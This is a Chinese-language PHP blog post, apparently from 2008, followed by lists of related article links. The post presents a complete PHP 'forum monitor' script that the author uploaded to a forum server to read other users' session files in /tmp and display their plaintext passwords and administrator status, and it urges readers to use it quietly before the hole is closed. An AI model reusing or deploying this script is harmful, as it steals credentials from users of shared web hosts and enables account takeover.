php查看session内容的函数


Posted in PHP onAugust 27, 2008

如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
PHP在Web开发领域的优势
Oct 09 PHP
php 动态执行带有参数的类方法
Apr 10 PHP
ionCube 一款类似zend的PHP加密/解密工具
Jul 25 PHP
PHP安全技术之 实现php基本安全
Sep 04 PHP
使用php 获取时间今天明天昨天时间戳的详解
Jun 20 PHP
php设置允许大文件上传示例代码
Mar 10 PHP
PHP把小数转成整数3种方法
Jun 30 PHP
PHPer 需要了解的 5 个 Composer 小技巧
Aug 18 PHP
PHP微信刮刮卡 附微信接口
Jul 22 PHP
PHP后端银联支付及退款实例代码
Jun 23 PHP
php框架CodeIgniter主从数据库配置方法分析
May 25 PHP
php的单例模式及应用场景详解
Feb 27 PHP
php 缓存函数代码
Aug 27 #PHP
php 中文处理函数集合
Aug 27 #PHP
常用的php对象类型判断
Aug 27 #PHP
phpMyAdmin2.11.6安装配置方法
Aug 24 #PHP
PHP6 先修班 JSON实例代码
Aug 23 #PHP
php的curl实现get和post的代码
Aug 23 #PHP
PHP Smarty生成EXCEL文档的代码
Aug 23 #PHP
You might like
php 判断服务器操作系统的类型
2014/02/17 PHP
PHP实现的DES加密解密实例代码
2016/04/06 PHP
php 魔术常量详解及实例代码
2016/12/04 PHP
JavaScript 拖拉缩放效果
2008/12/10 Javascript
jQuery的.live()和.die() 使用介绍
2011/09/10 Javascript
带左右箭头图片轮播的JS代码
2013/12/18 Javascript
如何在指定的地方插入html内容和文本内容
2013/12/23 Javascript
基于javascript实现图片预加载
2016/01/05 Javascript
最全面的JS倒计时代码
2016/09/17 Javascript
switch语句的妙用(必看篇)
2016/10/03 Javascript
easyui下拉框动态级联加载的示例代码
2017/11/29 Javascript
详解vue的diff算法原理
2018/05/20 Javascript
vue监听用户输入和点击功能
2019/09/27 Javascript
微信小程序页面渲染实现方法
2019/11/06 Javascript
js prototype深入理解及应用实例分析
2019/11/25 Javascript
vue+element-ui表格封装tag标签使用插槽
2020/06/18 Javascript
[06:13]DOTA2进化论(修改版)
2013/10/08 DOTA
Python中Django框架下的staticfiles使用简介
2015/05/30 Python
Python实现字典的key和values的交换
2015/08/04 Python
Python实现抢购IPhone手机
2018/02/07 Python
pandas创建新Dataframe并添加多行的实例
2018/04/08 Python
Python实现自定义函数的5种常见形式分析
2018/06/16 Python
PyTorch 1.0 正式版已经发布了
2018/12/13 Python
python tkinter图形界面代码统计工具
2019/09/18 Python
详解Python 循环嵌套
2020/07/09 Python
Django rest framework分页接口实现原理解析
2020/08/21 Python
使用Python获取爱奇艺电视剧弹幕数据的示例代码
2021/01/12 Python
在Pycharm中安装Pandas库方法(简单易懂)
2021/02/20 Python
HTML5新增的8类INPUT输入类型介绍
2015/07/06 HTML / CSS
HTML5 视频播放(video),JavaScript控制视频的实例代码
2018/10/08 HTML / CSS
世界最大的票务市场:viagogo
2017/02/16 全球购物
体验完美剃须:The Art of Shaving
2018/08/06 全球购物
95%的面试官都会问到的50道Java线程题,附答案
2012/08/03 面试题
服务生自我鉴定
2014/01/22 职场文书
文秘应聘自荐书范文
2014/02/18 职场文书
调解协议书
2014/04/16 职场文书